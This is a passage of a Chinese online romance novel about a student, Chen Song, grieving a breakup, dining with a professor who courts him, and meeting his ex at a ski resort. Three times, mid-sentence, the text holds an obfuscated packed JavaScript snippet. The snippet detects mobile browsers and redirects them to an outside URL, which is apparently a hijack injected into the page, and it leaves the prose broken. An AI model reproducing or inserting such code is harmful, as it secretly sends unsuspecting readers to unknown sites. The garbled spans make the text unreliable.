陈颂心里的建设有些崩塌,初进房间浑身羞赧的烧灼感骤然退去,此时此刻如坠冰窖。 可他倔强骄傲的自尊最终还是让他冷静下来。 陈颂来到程颂身边,为他满上一杯酒。 浓烈鲜艳的红酒如自信明媚的程颂一样,刺眼,干疼得陈颂双眸无比酸涩。 “给阿决也倒上吧,”程颂笑着看向顾行决,“可不能我一人罚酒,你得陪我。” 他的声音很亮,听起来像撒娇,甜腻腻得让陈颂有些想吐。 陈颂一直垂眸着,无法对视上顾行决的目光。 顾行决音色缓和地应了声,有些宠溺。随后音色又变得无比冷淡:“过来,倒酒。” 陈颂僵硬地挪动身体,举步维艰走到顾行决身侧,为他倒酒。 陈颂指腹狠狠捏紧酒瓶,几乎恨不得把十根手指戳进酒瓶里。紧绷的皮肉扯开了伤口,大片的殷红逃出创可贴,汹涌的血在因太过用力而惨白的肌肤上滚过。 但他一点都注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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委屈,愤怒,难过,伤心,焦虑,不安....... 所有复杂的情绪搅碎成一团玻璃渣,割得他骨肉分离。 陈颂嘴唇苍白,明明一副虚弱不行的样子,说出来的话还是这么硬,顾行决看着心里有股莫名的火:“我怎么就羞辱你了?我对你哪里不好要你他妈的跟着那个老狐狸!” 陈颂不知哪来的力气,一把推开了他:“在外面跟人亲嘴的人是你!不是我!” “是!”顾行决掐起陈颂的下巴,恶狠狠地说,“那个程颂可比你他妈乖多了!知道在我心情不好的时候拿糖哄我开心!” “你知道我喜欢吃什么糖么,Q.Q糖,紫色葡萄味的。他知道!” 陈颂脸上浮现出很痛苦的表情,眼泪止不住地落下了。 他不想听,他不想听! 陈颂一时间非常的心慌,他和顾行决不是一个世界的人,他不了解顾行决,不知道怎么哄顾行决,不知道该用什么方式留住顾行决。 就像他看见顾行决和别人接吻时,第一反应不是生气,而是心慌。 顾行决是风,他留不住的。 “说够了么。”陈颂敛眸很轻地道。 陈颂的泪落在顾行决手上,烫得发痒,捏住陈颂下巴的手又用力了几分,恨不得掐进陈颂的骨血里:“你就非得这个态度,嗯?” 陈颂沉默着没说话,二人毫不退让地抗衡着。 未几顾行决松开了他,冷笑一声:“除了我你再找不到第二个比我好的。” “陈颂,我等着你后悔一辈子。” 16. 初雪 餐厅走廊装裱着一排欧式宫廷油彩画,各种鲜艳的颜色交错柔和艳美,与昏黄的壁灯一起,模糊陈颂的视线。 耳边响着顾行决离开的脚步声,陈颂心口堵着一口气,像无数的活塞压在呼吸管,窒息感深深袭来,缺氧使得他头脑昏沉。发麻的手心紧握成拳头,虎口的创可贴崩裂,伤口滚出一发不可收拾的热血,就如他汩汩而下,抑制不住的泪水一样,痛彻心扉。 陈颂的唇向下紧绷,上牙狠狠咬在唇肉里,不哭出声来,他转身与顾行决背道而驰。 陈颂没换下工作服,逃出了餐厅。 十二点的京市下了今年的第一场雪,白毛毛的雪花缓缓落在陈颂身上,冷在他的心里。 陈颂骑着共享单车回了学校,风雪交加的夜倍感寒冷,脸上的泪痕怎么也不干。 他只给自己一路的时间,回到学校后就要收起所有情绪,不能让别人发现。 陈颂回到寝室时,雪落了他一身,像个行走的雪人。 还在桌前打游戏的室友蒋双看见他吓了一大跳:“我草,大哥我还以为敌人穿雪地吉利服冲出电脑来嘣我呢!” 蒋双看陈颂冻得直哆嗦,脸都冻得通红,还穿着工作服,皱眉问:“外面下雪了?你淋着雪回来的啊?” “啊?下雪啦!”床上的苍明知惊喜道,立刻拉开了窗帘看到陈颂的时候,惊了片刻声音都小了,“我去,这么敬业啊兄弟。” “这么晚回来,现在热水都没了,你赶紧拿毛巾擦吧,待会感冒了。”苍明知说着跑下床,去看窗外的雪,“我草真下雪了!真好看啊!家人们!” 陈颂忘记是怎样度过那个夜晚的了,混沌的思绪和室友打游戏的声音让他无法入眠。 再后来室友们也都睡了,他还是没睡着。 深夜总是响着无数人崩溃的哽咽,陈颂的两行泪浸湿枕头。 清晨时,陈颂依旧还没入睡,熬夜带来的心悸让他精神恍惚。好在明天是周末,不用上课。他给刘师傅发了消息,近段时间先不去工作了。 刘师傅那边几乎是秒回:知道了,注意身体。 昨晚陈颂慌忙离开后,刘师傅也有打电话来问他在哪里。陈颂说身体不适提前回去了,希望刘师傅替他和董经理说声抱歉,酒的提成就不要了。 陈颂本以为刘师傅会责怪,没想到他只是简单地说了句:“注意身体,这边不用担心。” 陈颂握着手机的指尖颤了颤,有些绝望地闭上双眼。 他这个人,真是一事无成,只会给别人添麻烦的废物。可他什么坏心思也没有,也没有害过别人,为什么这么多狗血的事会发生在他身上呢。 好不公平啊,人生。 其实看那夜看那个程颂的第一眼,陈颂就隐约有种预感,而昨晚,这个预感成真了,就这样铁真真出现在他面前。 陈颂觉得有些可笑,似乎是冥冥之中地在警示他,和顾行决是不可能有结果的。 顾行决是他永远抓不住的风。 好可怕的缘分,好可怕的巧合,一样的名字,不一样的姓,不一样的人生。 陈颂知道程颂上的那所学校,知道程颂才是和顾行决一个世界的人,而自己只是顾行决世界里匆匆一笔的过客。 陈颂睡不着,安眠药也没了,目前唯一能让他睡着的只有一样东西,感冒药。 陈颂也隐约觉得身体有些发烧,起床吃了快克和感冒灵,想以此来催眠自己。 但他是空腹吃药,本来肠胃就不好,没过一会胃就难受得想吐。他隐忍许久,想吐的感觉越来越重,更睡不着了,难受得跑去厕所干呕了半天,昨晚到现在根本没吃什么东西,只吐出来了药。 他趴在马桶前吐得出了一身冷汗,站起身时感到一阵天旋地转,眼前发黑,急忙扶住墙壁才没摔倒。 陈颂自己就是个学医者,这种乱吃药的行为是要在学术界被深深谴责的,可在残酷的现实面前,陈颂像个蹒跚学步的孩子,走几步就摔倒,走几步就磕得头破血流,哪还有什么清醒与理智。 他思考着顾行决说的话,离开他会后悔吗? 顾行决在陈颂的世界里是渡着一层金光的,陈颂说不出爱他哪点,就是莫名地被他吸引着。 会后悔么? 陈颂苦笑着,现在这副样子不就是在后悔着么。 可世上没有后悔药,他无法阻止顾行决去爱别人。 一个要走的人,是留不住的。 在经过身体和精神的双重打击下,陈颂终于睡着了。没睡几小时浑浑噩噩得醒来了,此时刚好正午,苍明知给他带了饭,说是回他的。 “陈颂,你是不是发烧了?”苍明知摸了摸他额头,“我草,烫死了!肯定是昨晚雪淋的。大哥啊,你就不难受么,赶紧去医务室吧。” 陈颂接过他的饭,有气无力地哑声道:“没事,我有药,吃点就好。”他摇了摇手中的饭,“谢了。” 苍明知觉得他是猛士:“那行吧,实在不行你再去医务室。” 陈颂点点头。 苍明知带的是陈颂一直吃的黄焖鸡米饭,香辣的气味十分诱人,可陈颂一点胃口也没有,为了吃药只好勉强吃了几口。 鲜嫩的肉汁此时无色无味,陈颂像卡壳的机器,艰难地运作着,越逼着自己吃越想吐。从未觉得吃饭如此漫长过。 食堂阿姨装满的饭盒仅仅少了几粒米,跟没动过一样。 陈颂吃完饭又重新吃了药,这次没有什么大问题,很快药效起来沉沉昏睡去。 他做了很多个梦,每个梦里都有顾行决,每个梦都让他喘不过气。 周末在吃药与睡眠中过去,陈颂的烧也退去。 周一清晨初雪停了,温暖的阳光照拂着大地。 陈颂一头扎在学习里,下了课就去校园跑,一刻也不敢让思绪停下。他好久没校园跑了。 学校一学期要求完成九十公里校园跑,陈颂还差六十公里,学期还有两个月就要结束,他得抓紧跑了。 陈颂带着耳机跑步,校园的树叶凋零了一片,昏黄的落日让人沉溺在橘黄色的海里。跑步分泌的多巴胺让他难得心中的郁结好了些。 他有些想通了,失个恋很正常的,又不是第一次,第一次能忘记那个人,这一次凭什么不能忘记顾行决? 陈颂就快结束三公里时,响起一通电话,一阵阵铃声引得他敏感的神经一惊,有些期待又紧张,心跳加速了些。 手被寒风冻得通红,不利索地拿出手机,看清来电显示后心缓缓沉下去。 是云教授,不是墨。 陈颂很轻地敛了下眸,接起电话:“喂,云教授。” 云景笙:“下课没?” 陈颂:“下课了。” 云景笙:“一起去吃个饭?上次说好你请我的。” 陈颂有些惊讶:“您回来了?” 电话那头传来了云景笙浅浅的笑声:“怎么,惊喜吗。” 陈颂浑身一僵,长着嘴半天没说出话来。 “surprise”一直是顾墨的代名词,此时以别的形式从别人口中而出,陈颂觉得心中有股很复杂的情绪。 云景笙继续道:“校门口,我等你。” 陈颂同意后,算好距离跑到校门口,刚好完成三公里。 云景笙递给他一杯热奶茶:“慢慢来,不用这么急的,我都在这等着呢。喝点奶茶暖暖,我刚去拿的四季奶青,你常喝的。” 陈颂礼貌地笑了下,接过奶茶道谢,随后解释:“我刚好在校园跑,顺路跑过来结束的。” 云景笙笑了下:“原来是这样,我还以为你着急见我呢。怎么样,提前回来你开心吗?” 陈颂神色微顿,像是没反应过来云景笙的话,尴尬地笑笑:“啊......呃......嗯,开心。” 陈颂今天穿着一身黑色加绒卫衣,显得皮肤更白,脸上不知浮着运动多度的红还是被寒风冻得的红,让原本冷漠的脸多了些活气。 云景笙有些动容地笑了笑,目视前方发动车子,语气温柔: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379784|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “去哪吃啊。你上次说的那家店名叫什么来着。” 陈颂捧着奶茶的指尖动了下:“馥金街上那家何春馆。” “好。”云景笙依言打了导航,“挺近的,才三公里。” 陈颂道:“嗯,那边是小吃街。很多大学生去的,车可能不是很好停。可以停远点,我们走过去。” 云景笙问:“那你和朋友经常去吗?” 陈颂摇摇头:“偶尔去。” 陈颂在学校可没什么朋友,闲暇时间几乎没有。难得几次出去吃也是自己兼职后,半夜实在饿得不行顺路去吃了些。 这几天心情实在郁闷,今天云景笙叫他出门吃饭,好像世界难得记起他这个孩子,心中有种难言的感激。 云景笙对这边的街道不熟,在陈颂的指引下停在馥金街对面的街道,方便许多。两条街道隔着一条小河,由几座石拱桥相连,河岸两旁栽满落了叶的秃树。 冬天的夜晚来得快,昏黄的路灯已然照亮整条街,街上结伴而行来往着很多大学生。 陈颂与云景笙并肩而行,走在拱桥上。冷风拂面,陈颂摩挲着手里的奶茶,攫取温暖。 陈颂方才为了校园跑穿得并不多,外面只穿了件厚卫衣,没穿外套。云景笙余光注意到陈颂的小动作,随后脱下大衣准备为他披上:“怪我,一心想和你吃饭,都没注意到你没穿外套。” 陈颂后退几步避开了:“没事的云教授,我不冷。我刚跑完还很热。” 云景笙手里的大衣扑了个空:“确定么陈颂。这样更会感冒。” 陈颂莫名有些拘谨,讪讪道:“真不冷,挺热的。” 虽然知道云景笙只是友好的担心,但陈颂被顾行决这么一闹,心里真就有些抗拒了。 云景笙看出陈颂的局促,为难的神情让原本寡淡的脸有些别样的生气,呼吸间溢出的白雾浮在微红的脸上,样子有些可爱。 云景笙笑了笑,把衣服重新披回自己身上。 陈颂这才松了口气,忽然想起那条藏色围巾:“您的围巾还在我那,下次还您。” 云景笙不置可否:“陈颂,我怎么感觉就出趟差,咱俩关系更生疏了呢。” 陈颂:“啊?没.....没有吧。” 云景笙双手插兜,不紧不慢地走:“云教授云教授地叫,我还以为我在上课呢。” 陈颂闻言眉眼舒展,笑了:“景笙哥,我们快去吃饭吧。不知道现在还抢得到位置抢不到。” 陈颂说得着急,二人还是散步似的走到了何春馆。店里坐满了人,白雾缭绕的面馆里香气飘飘。二人果然没位置。 陈颂只能先点餐排号,二人等了半小时才有位置坐。没坐一会儿,两碗热气腾腾的刀削面就端了上来。 鲜美的汤水浮着光,几片精瘦牛肉点缀,撒上香菜葱花调香。 陈颂掰开一次性木筷,相互搓了两下,递给云景笙:“这家刀削面是招牌,很好吃。” 云景笙接过筷子,品尝起来,眼里闪过惊艳:“真的很好吃。这还是我第一次吃刀削面,很有嚼劲,牛肉和汤汁混着面吃更是一绝。” 陈颂扬起唇角,掰开筷子相互搓了两下,也开始吃。 店里热闹喧嚣,四处传来客人的欢笑讨论声。 只有这桌的客人在静静吃面,吃了一阵,云景笙率先打破沉默:“我在你们学校就剩两节课了,安排在周三和周五下午你看可以么。” 陈颂闻言想了想随后道:“可以的。” 云景笙忽然笑了下:“估计你们学院的人要恨死我吧,又占用他们休息的时间。” 陈颂道:“不会的。你的讲座不是强制性的,来上课的都是慕名而来。你讲的课很有意思,能学到的知识也很多,还不枯燥。而且能有机会去若阳是很宝贵的机会。” 陈颂一张一合的嘴边留着汤渍,一眼不眨地与云景笙对视着,目光真诚。云景笙垂眸莞尔一笑,抽了一张纸,为他拭去汤渍:“那你呢,来听课是因为我的课有意思,还是想去若阳?” 17. 滑雪 陈颂很轻地眨了下眼皮,有些尴尬地抽走云景笙手里的纸巾,直起上半身往后了些,用力地胡乱擦嘴边:“我......都有吧。” 陈颂把嘴都搓红了才放下纸:“我高中的时候就想去若阳的。只是......” 云景笙抬眉;“只是什么?” 陈颂缓缓呼出一口气,语气里有些遗憾:“高考没考好。” 云景笙拖着下巴看他:“塞翁失马焉知非福,现在机会不照样找上门了么。这次我在你们学校选了三个人。你,付威博,黄茜。” “若阳每年都会抽签出几个学校,选出一批优秀学生培养,大概有五百人。实习期一年,没工资,包吃住。月休四天,甚至有时候会在休息期外出培训。上班时间从早上七点到晚上十点。过程很艰苦的,大部分人在听到这些就拒绝了,剩下的人大部分忍受不了都退出了。每年筛选下来人十个不到。” 云景笙偏了下头,看着陈颂继续道:“我希望你好好考虑,在我的最后一堂课前给我答复。其他两个人我会另外单独联系的。” 陈颂眉间微蹙,点点头,没说话像是陷入绝望的沉思。 云景笙笑着说:“你是不是也觉得有些惨无人道。” 陈颂立马正色,连连摇头:“不是的。医学知识体系庞大且复杂,要想取得成就,付出刻苦和努力是必要的。而且若阳提供的环境也很好,不应该浪费。” 云景笙惊讶了一瞬:“那也确实。不过身体是本钱,我们都是学医的,劳逸结合也是必要的。我虽然是若阳的人,但我没有那么大的权利改变这种现状。我自己也成立了另外的公司,正在运作。作为朋友,如果你实在接受不了,可以来我这。” 陈颂若有所思地点点头后问:“我想问一个问题。” 云景笙:“你说。” 陈颂捏紧筷子,片刻后又放下:“付威博和黄茜,他们很优秀,在课堂上表现也很好。但我......为什么选我?” 云景笙顿了下,浅笑一声:“因为你和他们一样优秀啊。虽然上课活跃度不高,但每次课题作业和小组任务都完成得最优秀。而且你身上有他们俩身上缺少的对医学的钻研精神。付威博是因为家庭使然,黄茜认为学医赚钱。简单来说就是你学医的目的更纯粹。” “这可不是我一个人选出来的。是所有听课老师一起选出来的。” “所以呢,”云景笙开了一瓶果汁递到陈颂面前,“不要妄自菲薄。” “一个人就算再渺小,也是有些人眼里的光。” 云景笙的话比京市冬天的阳光温暖,比春风轻柔,像一棵野草从心上的裂缝间爬出,带来生的勇气和力量。 陈颂忽然眼睛有些发酸,他迅速地垂下眼,笑着说了声谢谢。 晚饭过后二人走回停车处,云景笙上车系上安全带问:“你家住哪,我送你回去。” 陈颂道:“送我回学校吧。” 云景笙发动车子:“这么晚了学校还有事?” 云景笙记得,陈颂说自己是走读生,上次吃过晚饭送他去学校,说是去学校有事。 陈颂转头看向窗外:“不是,是我住校了。” 云景笙看了眼陈颂,月光洒在侧脸,清白凄美,神情有些忧伤。 二人沉默一阵,车子缓缓驶出,在车水马龙间穿梭,直到红灯时才停下。云景笙启唇问到:“你和他吵架了?” 陈颂正眯着眼吹着冷风,闻言双眸很轻地眨了下,没说话。 云景笙握着方向盘的手一顿,左手松开方向盘伸出窗外,不忍看到陈颂的脸。 云景笙深吸一口气,啊,怎么办想抽烟了。 到校门口后,陈颂下车告别:“麻烦你了景笙哥,今晚我很高兴。路上小心。” 云景笙点点头:“你也早点休息。” 陈颂礼貌地微笑后,转身走了。 没走几步身后又传来云景笙的呼叫:“等等。陈颂。” 陈颂转过身来,云景笙正双手提着两个礼品盒阔步走来。 京市的冬天很冷,呼吸成雾,风一吹而散,雾气下那张温润的脸上洋溢着笑。 “这是我从南城带来的纪念品,一盒你和同学吃,一盒给何院长吧。”云景笙把礼品盒递向陈颂。 陈颂接过,指尖擦过云景笙的手,很温暖。 云景笙忽然一顿,抓住陈颂的手,原本的笑意散去,语气有些担忧:“手怎么了?刚才都没注意到。” 陈颂愣了下,顺着他目光看去,左手虎口的皮肤处有道紫红的结痂,周围一圈微微范肿:“呃.....不小心划到的。没什么大事,皮肉伤,很快就好的。” 陈颂抽回了手。 云景笙眉间有些不忍,但还是松开他:“疼么?” 陈颂鼻子有些发酸,垂眸笑着道:“不疼。” 云景笙语气有些无奈:“怎么也不处理下。” 陈颂:“真没事。” “陈颂。”云景笙声音异常柔和,伸手摸着陈颂侧脸,“照顾好自己好么。如果他无法照顾你,那就由我来。” 陈颂眼眸猝然一颤,轻快地眨了几下眼皮,偏头躲开了:“对不起......景笙哥。我.......” 被躲开的手缓缓落下,男人的声音依旧温暖柔和:“他不适合你。不能给你带来你想要的幸福和安定。我可以。” “我尊重你的选择,但别立马否决我。” “只要你转身,我就在。” 陈颂最终还是没有回应云景笙。他不知如何去处理一段新感情,毕竟他现在情感状态一团混乱。 陈颂知道自己不爱云景笙,不爱怎么能在一起,怎么能耽误别人。在他的认知里,人只会跟自己爱的人在一起。 所以顾行决曾经一定爱过他,他能感受到那些浓情密切纠缠的夜晚是真的。这也恰巧证明了顾行决现在不爱他了。 现在顾行决爱的是程颂,不是陈颂了。 可是陈颂想不明白,为什么人心会变。 若是人心都会变,他为什么不能变,依旧如此痛苦地爱着顾行决。是时间问题吗,时间能治愈伤痛么。 陈颂无法明白。 日子照样过着,那晚后陈颂有意与云景笙保持些距离,云景笙待他却如常,好像那晚的事情未曾发生过一样。 陈颂明白,这不是他的放弃,而是尊重。 陈颂如约在最后一堂课前给了云景笙回复,他愿意参加若阳的实习培训。云景笙表示支持和鼓励。 云景笙最后一堂课结束后,有大批同学拉住云景笙告别,陈颂没有,只是和云景笙在人潮中相识一眼,便走出了教室。 出了教室刚走几步就被人拦了下来。 叶佳佳冲到他面前:“陈颂陈颂,明天学生会团建去滑雪,你必须得来嗷,上次说好了的。” 陈颂下意识想拒绝:“我不会滑雪。怎么这么突然,都没提前通知我。” 叶佳佳双手环胸,眯起眼睛驳回理由:“不会滑雪站在旁边看着。知不知道什么叫惊喜,惊喜懂不懂?” “surprise!”叶佳佳双手张开比出一个烟花绽放的手势,“surprise懂不懂?” 陈颂大脑条件反射地蹦出顾行决慵懒地站在家门口的样子,这些天一直靠学业压抑的情绪全都涌了上来。 思念如火焰般烧灼,热得人头脑发晕,眼眶发热。 陈颂迅速敛眸看向地面,遮掩住情绪:“知道了。” 叶佳佳拍手十分满意:“哎呀你放心好了,没几个人会,就图个新鲜,那边坡度不高,防护工具很到位的。大家打算请几个教练来教,包学会的。” “那就手机上聊,”叶佳佳拍了下陈颂的肩膀,“明天见。” 叶佳佳语罢挥挥手告别,转身消失在人潮中。 陈颂几乎不参加集体活动或者多人聚会,记忆里唯一一次还是幼儿园的春游。班上所有小孩的家长都来了,除了他爸妈。 学生会团建,向来是文艺部安排,陈颂原先因为兼职都没去。原本上次答应叶佳佳是出于人际关系维护,多少带点每年缺席的歉意。 但最近发生的事太多,压得他喘不过气来。心境也有些变化。 陈颂一直以来都和外界保持一定距离,不主动社交,所有心思都放在顾行决身上,太过依赖他,渐渐失去自己的独立人格,缺少自己的空间。 所以这次一起去滑雪,也是想给自己一个跳出安全区的机会。 也就是试图通过不断丰富人际关系以此放弃对顾行决的单向依赖。 翌日清晨陈颂来到约定地点,校门口集合。 校门口停着一辆大巴,叶佳佳站在大巴旁朝他挥手。陈颂礼貌地扬起唇角,走近她:“早。” 叶佳佳没化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379785|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妆,素颜的脸少了精明,多了些柔和,她笑嘻嘻道:“早早早,你吃过早餐没。没吃的话,车上有。我随便买了些早餐,还有些零食。你先上去吧,外面冷,还差五个人就到齐了。前面是先给部长都留了位置的。如果你晕车的话可以坐前面,不晕的话可以跟后面人换。” 陈颂点点头上了车。大巴上几乎坐满了人,有吃早饭的,补觉的。让陈颂有些新奇的是,吃饭睡觉的全是男生,剩下的女生全在化妆。 “会长好。” 众人见了陈颂立马连连问好,陈颂点点头,放眼望去只有最后一排有空位,他往后走着:“我坐后面,晕车的可以坐前面一个去。” 陈颂在最后一排落座。 十分钟后,所有人集结完毕,在发车前叶佳佳说了注意事项,语气十分兴奋:“宝宝们,这是我们三年来第一次全员都参加的团建。这次也是临时通知你们,是不是很惊喜哈哈哈哈。实际上有些人是已经知道我这个计划的。” “历年团建都是在平安夜出去吃个饭喝个酒的,但今年呢,”叶佳佳搓搓双手,漏出得意的笑容,“咱也是拖了点小关系,去的这个滑雪场,所有消费由我买单。考虑到即将换届了,这也当我这个部长给你们留的纪念吧!” “哇哦哦哦哦哦!!”底下响起一片热烈的欢呼声。 “卧槽,佳姐牛逼!” “太有实力了!” “我就知道你是富婆!!女神我要追随你一辈子!” 叶佳佳嘴角列到太阳穴,佯装不好意思:“哎呀,场地就当是我们免费的,我也就出个路费。小意思小意思。好了好了,我们准备出发了,该吃饭吃饭,该补觉补觉。化妆化妆啊,可出片了。建议也给咱们学生会男同志拾到拾到,到时候要拍大合照的。咱全给隔壁党家比过去,不能输给他们。我可一直在党家面前吹我们新一届部员各个都是帅哥美女呢。” “包的包的!” “车程大概一个半小时,那我们现在就准备出发啦。” 大巴车从市区开向郊区边缘的小山丘上,山脚是一直很火的旅游风景区,周围景色宜人,屋檐楼阁上都落着未融化的雪。 今日天气晴朗,天边飘着几朵云彩。到站时才早晨八点半,滑雪场没有一个人。 偌大的露天滑雪场,白茫茫一片,与远处高低错落山峦交融,与晨光辉映,美得惊艳,美得动人。凉风吹拂,泛起心中阵阵涟漪。 “太美了吧我去!”众人发出惊叹,立马掏出手机拍个不停。 “我靠佳姐,咱这是包场了吗?!”部员欢呼道。 叶佳佳穿着厚厚的粉色滑雪服走来:“是啊是啊,趁着人还没来,赶紧体验一把吧。我给你们叫了五个教练,不会的自己围着去学。” 叶佳佳举起手高喊道:“我也是教练啊,部长们不会的来找我吧,包教包会,包专业的。” 几个部长很是嫌弃地看她:“我惜命,我还是找教练吧。” “我同意。” 接着几位部长就带着自己部门的小鸡仔们,找教练去了。 叶佳佳很是不满,插着滑板哼道:“搞什么啊,老娘从小滑到大,很专业的诶!你们这群不识货的我靠!” “我识货,嘿嘿。”一个高个子男生慢悠悠地晃过来。 叶佳佳瞧他一眼,把手里的滑板砸他身上:“好吧,那就跟佳姐好好学。比他们还快上手,羡慕死他们。” 男生接住滑板,拍拍胸脯:“好的领导!” 叶佳佳得意点点头,随后眯起眼睛,眼神落在男生身后还在手忙脚乱带护具的身影上。 陈颂没滑过雪,滑雪坡虽然弧度不大,但他没经验也还是有些害怕的。滑雪服也很复杂,光穿就花了大半天功夫。好不容易穿上滑雪服后,工作人员又递给他几个护具,也就是几个很萌却笨重的乌龟玩偶问他需不需要。 陈颂思虑半天后回答需要。虽然帅气的滑雪服加上可爱的小乌龟看上去很蠢很违和,但他更惜命。 此时陈颂正弯腰系着膝盖上的小乌龟,系着系着腰上的大乌龟又送了开,陈颂手忙脚乱地拖着。 头顶落下一道男声:“我来帮你吧,会长。” 陈颂抬头,眼前的男生个子很高,陈颂见过,是叶佳佳的对象。 叶佳佳紧跟其后,拖着两个滑板走来:“今天让我这个雪上雄鹰带飞你们俩个小雏鸡!” 18. 大忌 陈颂一直认为自己是个没有运动天赋的人,甚至觉得控制他运动的神经先天衰弱。 滑雪更加证实了这点。 叶佳佳满是自信的教学生涯刚开启就结束了。教学一个上午,陈颂真是一点动都不带动的,几次都摔在开头。 陈颂看着叶佳佳气馁苦恼的样子,想笑。他自己倒是没什么所谓,虽然滑雪上没有丝毫进展,但他很开心。 陈颂把滑雪杆扔在地上,坐在地上喘气道:“你说的对,不会滑雪就在旁边看着也好。” 叶佳佳一时语塞,无语道:“我真醉了。” 陈颂笑了笑:“没事,你们去滑吧,我先休息会。” 叶佳佳看了眼旁边的高个子男生,好在另一个门生比较争气。转念一想,叶佳佳又灿然一笑:“好吧好吧,原来天花板级别的会长大人也有学不会的东西。” 男生挑了挑眉:“可能是……教练的问题。会长,咱要不换个教练试试?” 叶佳佳怒了,把滑雪板砸过去:“你想死啊!” 男生一躲,滑着逃远了:“本来就是诶!会长,你再去找个教练教你吧!!” 叶佳佳气得不行,立刻捡起滑雪板追他去:“汪宇安!你再给我说一句!反天了是吧!” “哎呀我错了我错了,女神就饶了我吧。”汪宇安很快被追上了,笑着讨饶到。 “再给我皮试试!”叶佳佳把雪扔他脸上,怒气冲冲的脸上憋不住笑意。 陈颂看着觉得他们很甜蜜,可能这样才是相爱吧。他忽然觉得有些口渴,咽了口唾沫却觉得好苦涩。 众人滑了一早上,有些饿,纷纷卸下装备准备随便补给点小零食。陈颂也脱下滑板和护具,朝休息大厅走。 “卧槽!那是不是你上次说的那个人?” “啊?哪个?” “就是那个那个顾行决啊!卧槽本人这么帅啊!我去我去!站他旁边的那群都好帅啊!” 陈颂浑身一僵,呼吸一滞,目光似乎遵从原始冲动般顺着前面那个女生手指的方向看去。 从男更衣处走来一群人,为首的正是顾行决。 一身鲜艳的红色滑雪服张扬夺目,肩宽腰窄,四肢修长,身材比例堪称一绝。深邃的眉眼冷冷目视前方,身旁落后半个身位的是与他穿着相同款式滑雪服的......程颂。 陈颂压抑许久的情绪如海水般,冲破裂缝翻涌出来。 陈颂双目怔怔地看着二人并肩而行的画面,耳边响起心碎的声音。 那桀骜不羁的目光忽地扫了过来,与陈颂双目对视时,脚下微不可察地放慢了些脚步,只是片刻,神色冷漠地移开了视线。 那种冷漠的眼神让陈颂遍体生寒,恍惚到怀疑顾行决是不是没看见他,所以才能做到如此冷漠。 那短暂的对视,移开视线时的冷漠却像倒带一样,一遍又一遍地重复在脑海里,与那晚在餐厅走廊里他与程颂热吻时的画面一起重叠。 陈颂忽然有些难以呼吸,他深吸几口气目光慌乱地轻眨几下,撇向别处,机械地抬了抬僵硬的腿往前走。 周遭关于顾行决的谈论却像毒虫般钻进他的身体里。 “哎呀这种男人看看就好了。网上说他是gay呢。而且很风流。风流无边第一人。” “我靠,那他旁边那个是不是他对象啊!帅哥配一脸啊,我现实里没见过这么帅的一对!” “不知道是不是,但我gay达响了,他们俩之间肯定不清白。还穿情侣装,谁家正常男人选这么骚的红色。你看那一堆里就他俩穿红。” “我去!上次我说帅的那个也在!就那个穿黑色的!卧槽有钱人基因都这么好的么......” 陈颂攥起手心,骨节挤压得比炽光灯还白,他只想找一个地方躲起来。 好像只要顾行决出现的地方,都不是他该出现的世界。 他需要一个角落来好好消化一下现在快要爆炸的情绪,否则就要在外人面前崩溃了。 每当他收拾好一切情绪准备重新开始的时候,顾行决又突然出现把他搞得又突然崩溃。 陈颂明白了,其实他从来都没有整理好情绪过,他所做的不过是一味地逃避,从小到大,他都是靠逃避解决问题。 他心中有股可怕的念头,不断地教唆他冲到顾行决面前质问他,凭什么!凭什么这么快喜欢上别人! 可是他是胆小鬼,他怕听到的答案只会更让人心痛。成年人是不需要把话说的那么明白的,彼此都要留些脸面。 陈颂逃进厕所,打开水龙头冲了几把冷水脸,试图让自己冷静下来。 他双手用力压在盥洗台上试图消除发麻感,镜子中湿淋淋的那张脸无比苍白,通红的双眼里浮着泪,紧绷的嘴唇抿成一条线,他大口的呼吸着,像离了水的鱼剧烈挣扎地渴求大海。 此时电话响了起来,一阵阵手机铃声像是熟悉的门铃声,他心脏猛地一紧,几乎是立刻接了起来,可电话那头发出的女声让他再次失落起来。 叶佳佳问:“喂?会长大人你在哪?” “喂?” 陈颂启唇哑了几声才说出话:“我在厕所。” 叶佳佳:“我们在餐饮区准备点几道菜一起吃,你上完厕所过来吃吧。先垫垫肚子,我们晚上回去再去饭店吃顿好的。” 陈颂:“好。” “好的好的,那就这样。挂了。” 陈颂思绪一直飘着,被挂断后手也保持接电话的动作没动,他觉得自己想法实在可笑。 顾行决都已经和别人在一起了,怎么可能给他打电话。 陈颂和顾行决好了三年,这三年从未在其他地方碰到过他。可偏偏在二人感情破裂后,陈颂打算要放弃,要远离时,顾行决不断地,以意想不到的方式出现在他面前。 这是在演狗血电视剧么? 陈颂也想象过二人在哪里偶遇到的情形,在顾行决还是顾墨的时候,他憧憬地想,应该是双方兴奋地跑到彼此面前,不用亲吻拥抱那样甜蜜。 双方只要露出一个惊喜雀跃的笑容就足矣。 